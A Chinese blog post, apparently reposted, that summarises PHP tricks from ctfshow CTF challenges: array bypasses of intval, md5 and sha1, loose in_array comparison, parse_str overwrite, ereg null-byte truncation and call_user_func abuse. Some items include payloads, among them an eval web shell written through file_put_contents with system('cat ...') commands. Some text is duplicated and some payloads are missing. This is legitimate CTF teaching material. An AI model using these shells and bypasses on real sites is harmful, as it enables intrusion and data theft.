CTF题目中遇到的PHP考点总结(一)
介紹
本篇文章主要總結了我在寫ctfshow題目中遇到的關于PHP的考點。因為只總結知識點和考點會比較空洞,也不容易理解,所以我都是通過題目來總結考點,這樣的話比較容易理解。
PHP函數特性相關
一、
考點一:intval函數傳入非空數組時會返回1 詳情可以查一下PHP手冊?!緃ttps://www.php.net/manual/zh/function.intval.php】 考點二:preg_match()只能處理字符串,當傳入的是數組時將會返回false,詳情也可以查一下PHP手冊。
例題:
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;} }例題分析:
分析上面的代碼可以看出,正則匹配0-9,匹配到則返回true,直接die,但是由于preg_match()只能處理字符串,當傳入的是數組時將會返回false,從而繞過死亡函數。由于之前沒怎么了解過intval函數,所以我直接選擇查閱php手冊【https://www.php.net/manual/zh/function.intval.php】查閱后發現 **intval()**函數用于獲取變量的整數值。**intval()**函數通過使用指定的進制 base 轉換(默認是十進制),返回變量var的 integer 數值。 intval() 不能用于 object,否則會產生 E_NOTICE 錯誤并返回 1。也就是說,當給intval()函數傳入一個非空的數組時,intval()函數將會返回1,結合我們preg_match()傳入數組返回false的特性,這道題的payload就很清楚了。
payload: ?num[]=1【技術文檔】
1、200多本網絡安全系列電子書
2、全套工具包
3、100份src源碼技術文檔
4、網絡安全基礎入門、Linux、web安全、攻防方面的視頻
5、 網絡安全學習路線
6、ctf奪旗賽解析
二、
考點一:PHP比較運算符 ===在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等。
考點二:intval(value,value,value,base)當base為0時,會檢測value的格式來決定使用的進制。
例題:
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){ # === 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等die("no no no!");}if(intval($num,0)===4476){ echo $flag;}else{echo intval($num,0);} }例題分析:
如下圖所示,通過查詢php手冊,我們發現,intval(value,value,value,base)當base為0時,會檢測value的格式來決定使用的進制,所以我們可以通過把4476轉換成16進制,經過base為0的intval函數處理,會識別16進制的4476,從而返回flag,又因為===在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等,所以由于字符串類型不同會返回false,從而繞過死亡函數。
payload: ?num=?num=0x117c三、
考點一:strpos()函數查找字符串在另一字符串中第一次出現的位置并返回
考點二:intval(value,value,value,base)當base為0時,會檢測value的格式來決定使用的進制。
例題:
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){ #strpos()函數查找字符串在另一字符串中第一次出現的位置并返回。die("no no no!");}if(intval($num,0)===4476){echo $flag;} }例題分析:
這道題目如果我們可以用八進制的4476來繞過,那么會有一個問題,因為八進制需要開頭指定為0,而strpos()會匹配到數字0返回0,!0也就是1從而執行死亡函數,所以我們可以在八進制前面加一個空格,這樣strpos()會返回1,所以我們把4476轉換為8進制10574后,前面再加一個空格即可。
payload如下:
?num= 010574四、
考點一:PHP比較運算符 ===在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等。
考點二:在PHP強比較中變量a、b兩個值不一樣,要求兩者md5值相同時的繞過方法。
考點三:PHP中md5函數處理數組類型會返回falsefalse的特性。
例題:
if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.'; }例題分析:
這一道題涉及到了強比較的md5類型,從代碼我們可以得知,要求a、b兩個值不一樣但是需要這兩個值得md5值一樣,因此強比較類型,我們可以利用md5函數處理數組類型會返回false的特性,從而利用false=false來繞過。我之前寫過一篇總結相關知識點的文章鏈接如下:https://www.freebuf.com/articles/web/321300.html
payload:
a[]=1&b[]=2五、
考點一:in_array ()函數的作用是 檢查數組中是否存在某個值,而當in_array()函數沒設置第三個參數時進行的比較是弱比較。
考點二:file_put_contents()函數的作用是將一個字符串寫入文件。如果寫入的字符串和文件名可控則可能導致任意文件上傳漏洞。
例題:
$allow = array(); #創建空數組 for ($i=36; $i < 0x36d; $i++) {array_push($allow, rand(1,$i)); #在1-$i之間隨機生成一個整數,添加到數組$allow尾部 } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']); }例題分析:
由于之前不怎么了解in_array()函數所以直接查了PHP手冊https://www.php.net/manual/zh/function.in-array.php,發現這題在使用in_array()函數時并沒有設置第三個參數為TRUE,所以此時in_array函數進行的比較是==的弱類型比較。也就是會先進行強制轉換成相同類型,再比較兩者的值是否相等,所以當我們傳入1.php時會強制轉換成數字1,而數字1正好在 range(1,24)數組中,當隨機生成的數字正好是1時就可以繞過 in_array()函數判斷,導致任意文件上傳漏洞。多試幾次,直到不報錯的那一次,說明成功傳入一句話。之后訪問1.php 再通過再通過post傳入1=system(‘ls’);即可查看目錄,再訪問這個flag36d.php,即post: 1=system('cat flag36d.php');即可在網頁源碼中看到flag。
例題分析:
由于之前不怎么了解in_array()函數所以直接查了PHP手冊https://www.php.net/manual/zh/function.in-array.php,發現這題在使用in_array()函數時并沒有設置第三個參數為TRUE,所以此時in_array函數進行的比較是==的弱類型比較。也就是會先進行強制轉換成相同類型,再比較兩者的值是否相等,所以當我們傳入1.php時會強制轉換成數字1,而數字1正好在 range(1,24)數組中,當隨機生成的數字正好是1時就可以繞過 in_array()函數判斷,導致任意文件上傳漏洞。多試幾次,直到不報錯的那一次,說明成功傳入一句話。之后訪問1.php 再通過再通過post傳入1=system(‘ls’);即可查看目錄,再訪問這個flag36d.php,即post: 1=system(‘cat flag36d.php’);即可在網頁源碼中看到flag。
payload:
?n=1.php post: content=<?php eval($_POST[1]);?> #寫入一句話##六、
考點一:**is_numeric()**函數用于檢測變量是否為數字或數字字符串,如果指定的變量是數字和數字字符串則返回 TRUE,否則返回 FALSE。
考點二:php有運算的優先級,而且&& > = > and
例題:
例題分析:
**is_numeric()**函數用于檢測變量是否為數字或數字字符串,如果指定的變量是數字和數字字符串則返回 TRUE,否則返回 FALSE??吹阶詈骵val,肯定是需要命令執行,這需要v2傳入命令,v2傳入命令,v2傳入命令,v3需要;結尾,但這么一來is_numeric一處理就變成了
$vo = $v1 and FALSE and FAlse但php有運算的優先級,也就是&&> = > and
按照運算優先級,先執行=也就是賦值給$a為true,false就被忽略了,思路也就有了,payload為
得到$flag_is_1ce376300x2d8dc70x2d4b870x2d9f0e0x2d1eea5dada15;,其中0x2d需要替換成-,然而一共35位還少了一位,最后一位需要爆破獲得。
##七、
考點一:is_numeric() 函數用于檢測變量是否為數字或數字字符串,如果指定的變量是數字和數字字符串則返回true,否則返回false。如果字符串中含有一個e代表科學計數法,也可返回true
考點二:call_user_func() 函數用于調用方法或者變量,第一個參數是被調用的函數,第二個是調用的函數的參數。
考點三:file_put_contents()函數的作用是將一個字符串寫入文件。如果寫入的字符串和文件名可控則可能導致任意文件上傳漏洞。
考點四:通過file_put_contents()函數配合php://協議以base64編碼的形式寫入webshell。
例題:
例題分析:
首先,get傳參v2和v3,post傳參v1;if中需要v4為真才能往下執行,而v4要為真就是v2傳的參數要為數字或者數字字符串,同時v2也是我們要寫入的webshell,為了讓v2為數字或者數字字符串,我們可以先把我們的webshell轉換為base64編碼,再把base64編碼轉換為16進制,這是一種辦法去轉換成數字。本地測試代碼如下:
#本地測試代碼 <?php $b = base64_encode('<?=`tac *`;'); $b = str_replace("=","",$b); echo "base64加密后:".$b."\n"; $a = call_user_func('bin2hex',$b); #bin2hex可以將base64編碼形式轉換成16進制字符串形式。 echo "16進制形式:".$a."\n"; var_dump(is_numeric($a));/*運行結果 base64加密后:PD89YHRhYyAqYDs 16進制形式:504438395948526859794171594473 bool(true) */ ?>說明:<?=是php的短標簽,是echo()的快捷用法,還有一點,就是substr()取得是從下標為2開始的字符串(字符串下標從0開始),所以我們需要在前面加00兩位數
所以payload為
##八、
考點:sha1()函數特性,sha1函數無法處理數組,遇到數組會返回NULL
例題:
<?php highlight_file(__FILE__); include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;} }**例題分析:**sha1函數無法處理數組,遇到數組會返回NULL,因此將兩個變量都設置成數組類型即可獲得flag。
payload如下:?v2[]= #給這兩個值賦值與否都不影響post: v1[]=##九、
考點一:parse_str()函數會將傳入的第一個參數設置成變量,如果設置了第二參數,則會將第一個參數的變量以數組元素的形式存入到這個數組。
例題:
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php");if(isset($_POST['v1'])){$v1 = $_POST['v1'];$v3 = $_GET['v3'];parse_str($v1,$v2);if($v2['flag']==md5($v3)){echo $flag;} }例題分析:
看完上面的代碼就應該可以知道,這道題的關鍵就在于parse_str()函數,于是直接查PHP手冊中關于parse_str()的介紹。這里附鏈接:https://www.php.net/parse_str/ 看完后我們可以發現該函數會將傳入的第一個參數設置成變量,如果設置了第二參數,則會將第一個參數的變量以數組元素的形式存入到這個數組。分析上面的代碼我們知道v1我們可控,并且我們知道v2數組中有flag這個鍵,因此我們可以通過parse_str()函數將變量v1的變量名和變量值寫入數組v2,那么我們就可以覆蓋掉flag這個鍵值對,并且v3我們可控因此就可以繞過下面v2[′flag′]==md5(v2['flag']==md5(v2[′flag′]==md5(v3)的比較從而輸出flag。這樣思路有了,我們可以開始構造payload,payload如下:
?v3=1 POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b #md5解密后對應1##十、
考點: ereg()函數的匹配可以被%00截斷
例題:
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){echo $flag; }例題分析:
**ereg()**函數搜索由指定的字符串作為由模式指定的字符串,如果發現模式則返回true,否則返回false。搜索對于字母字符是區分大小寫的
**strrev()**函數反轉字符串。**intval()**函數用于獲取變量的整數值。首先我們需要知道%00可以截斷ereg()函數的搜索,正則表達式只會匹配%00之前的內容;0x36d的十進制內容為877,我們需要字母在前來滿足if條件的正則匹配來跳過if語句,接著再進行字符串的反轉得到877a,接著intval()函數取整數部分得到877
所以payload為
##十一、
考點一:**call_user_func()**函數會執行回調函數,call_user_func()把第一個參數作為回調函數,其余參數都是回調函數的參數
考點二:_()是一個函數 _()等效于gettext() 是gettext()的拓展函數。
考點三:get_defined_vars()函數的作用: 返回由所有已定義變量所組成的數組。
例題:
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__);$f1 = $_GET['f1']; $f2 = $_GET['f2'];if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2))); }else{echo "嗯哼?"; } function check($str){return !preg_match('/[0-9]|[a-z]/i', $str); }例題分析:
**call_user_func()**函數把第一個參數作為回調函數,其余參數都是回調函數的參數
_()是一個函數 _()等效于gettext() 是gettext()的拓展函數。開啟text擴展,需要php擴展目錄下有php_gettext.dll
#測試代碼: <?php echo gettext("ctfshownb"); //輸出結果:ctfshownbecho _("ctfshownb"); //輸出結果:ctfshownbget_defined_vars()函數作用: 返回由所有已定義變量所組成的數組 這樣可以獲得 $flag
整個執行流程就是
var_dump(call_user_func(call_user_func($f1,$f2))); var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); var_dump(call_user_func(get_defined_vars));//輸出數組**payload: **
?f1=_&f2=get_defined_vars##十二、
考點: call_user_func()函數特性
例題一:
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow {function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");} } call_user_func($_POST['ctfshow']);例題分析:
直接調用ctfshow類中的getFlag方法就好,payload為
post: ctfshow=ctfshow::getFlag**補充:**call_user_func()函數在PHP手冊中的介紹:
https://www.php.net/manual/zh/function.call-user-func.php例題二:
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow {function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");} } if(strripos($_POST['ctfshow'], ":")>-1){die("private function"); } call_user_func($_POST['ctfshow']);例題分析:
在前一題基礎上把冒號給ban了,但call_user_func()支持傳入數組形式。
call_user_func(array($ctfshow, ‘getFlag’));
這時候會調用ctfshow中的getFlag方法
所以payload為
post: ctfshow[0]=ctfshow&ctfshow[1]=getFlag總結
以上是生活随笔為你收集整理的CTF题目中遇到的PHP考点总结(一)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】什么是应急响应,应急响应中你
- 下一篇: CTF中PHP相关题目考点总结(二)